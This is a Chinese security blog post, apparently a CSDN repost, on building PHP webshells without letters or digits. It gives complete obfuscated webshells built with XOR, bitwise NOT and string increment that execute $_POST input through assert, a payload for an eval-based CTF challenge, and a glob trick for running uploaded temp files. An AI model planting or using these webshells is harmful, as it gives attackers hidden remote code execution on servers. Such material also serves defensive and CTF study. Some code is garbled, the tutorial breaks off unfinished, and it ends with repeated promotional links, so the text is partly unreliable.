无字母数字webshell(1)

核心思路是,将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如“assert”,然后动态执行之即可。

在此之前,我需要说说php5和7的差异。

php5中assert是一个函数,我们可以通过 f = ′ a s s e r t ′ ; f='assert'; f=assert;f(…);这样的方法来动态执行任意代码。

但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。

方法一

这是最简单、最容易想到的方法。在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

得到如下的结果**(因为其中存在很多不可打印字符,所以我用url编码表示了)**:

<?php $\_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $\_='assert'; $\_\_='\_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $\_\_='\_POST'; $\_\_\_=$$\_\_; $\_($\_\_\_[\_]); // assert($\_POST[\_]); ##### 方法二 和方法一有异曲同工之妙,唯一差异就是,方法一使用的是位运算里的“异或”,方法二使用的是位运算里的“取反”。 方法二利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}的结果是"\x8c",其取反即为字母s: [![](https://img-blog.csdnimg.cn/img_convert/1f39b2b54821823b5023d826d2a80222.jpeg)](https://www.leavesongs.com/media/attachment/2017/02/17/fadccb70-4143-49df-aa47-bc9a1af93c56.jpg) 利用这个特性,我找了一篇文章( [答案与没有答案的旅行 | 离别歌](https://bbs.csdn.net/topics/618653875) ),自动选择了其中一些汉字,生成如下答案: ``` <?php $__=('>'>'<')+('>'>'<'); $_=$__/$__; $____=''; $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__}); $_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_}); $_=$$_____; $____($_[$__]); ``` 这个答案还利用了PHP的弱类型特性。因为要获取'和'{2},就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2,也就是('>'>'<')+('>'>'<')==2。 ##### 方法三 php的自增 也就是说,'a'++ => 'b','b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。 那么,如何拿到一个值为字符串'a'的变量呢? 巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。 在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array: 再取这个字符串的第一个字母,就可以获得'A'了。 利用这个技巧,我编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($\_POST[\_]),无需获取小写a): ``` <?php $_=[]; $_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$__++;$__++;$__++; // E $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $____.=$__; $_=$$____; $___($_[_]); // ASSERT($_POST[_]); ``` --- ##### 提高 ``` <?php if(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($code)>35){ die("Long."); } if(preg_match("/[A-Za-z0-9_$]+/",$code)){ die("NO."); } eval($code); }else{ highlight_file(__FILE__); } ``` 这道题多了两个限制: webshell长度不超过35位 除了不包含字母数字,还不能包含$和\_ ##### PHP7下 php7中修改了表达式执行的顺序:[PHP: 不向后兼容的变更 - Manual](https://bbs.csdn.net/topics/618653875) : image.png PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。 所以很简单了,构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下(不可见字符用url编码表示): (~%8F%97%8F%96%91%99%90)(); ##### PHP5+shell 考虑用“反引号”+“shell”的方式来getshell 两个有趣的Linux shell知识点: 1..shell下可以利用.来执行任意脚本 2.Linux文件名支持用glob通配符代替 .或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。 用. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗? 这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。 第二个难题接踵而至,执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符: \*可以代替0个及以上任意字符 ?可以代表1个任意字符 那么,/tmp/phpXXXXXX就可以表示为/\*/?????????或/???/?????????。 但我们尝试执行. /???/?????????,却得到如下错误: ## 最后 **自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。** **深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!** **因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。** ![img](https://img-blog.csdnimg.cn/img_convert/b175c56c601be6f3f34de9692ac5185e.png) ![img](https://img-blog.csdnimg.cn/img_convert/f4d1711890e951961701d2f9e3c9d366.png) ![img](https://img-blog.csdnimg.cn/img_convert/22e85cbd564b005cd03e7283c40c4b42.png) ![img](https://img-blog.csdnimg.cn/img_convert/cc6be4c3219006a144f87d3498b05123.png) ![img](https://img-blog.csdnimg.cn/img_convert/c43f166d62d76c676d15e71d7defb7f6.png) **既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!** [**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875) **由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!** -1715768874226)] **既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!** [**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875) **由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**
  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值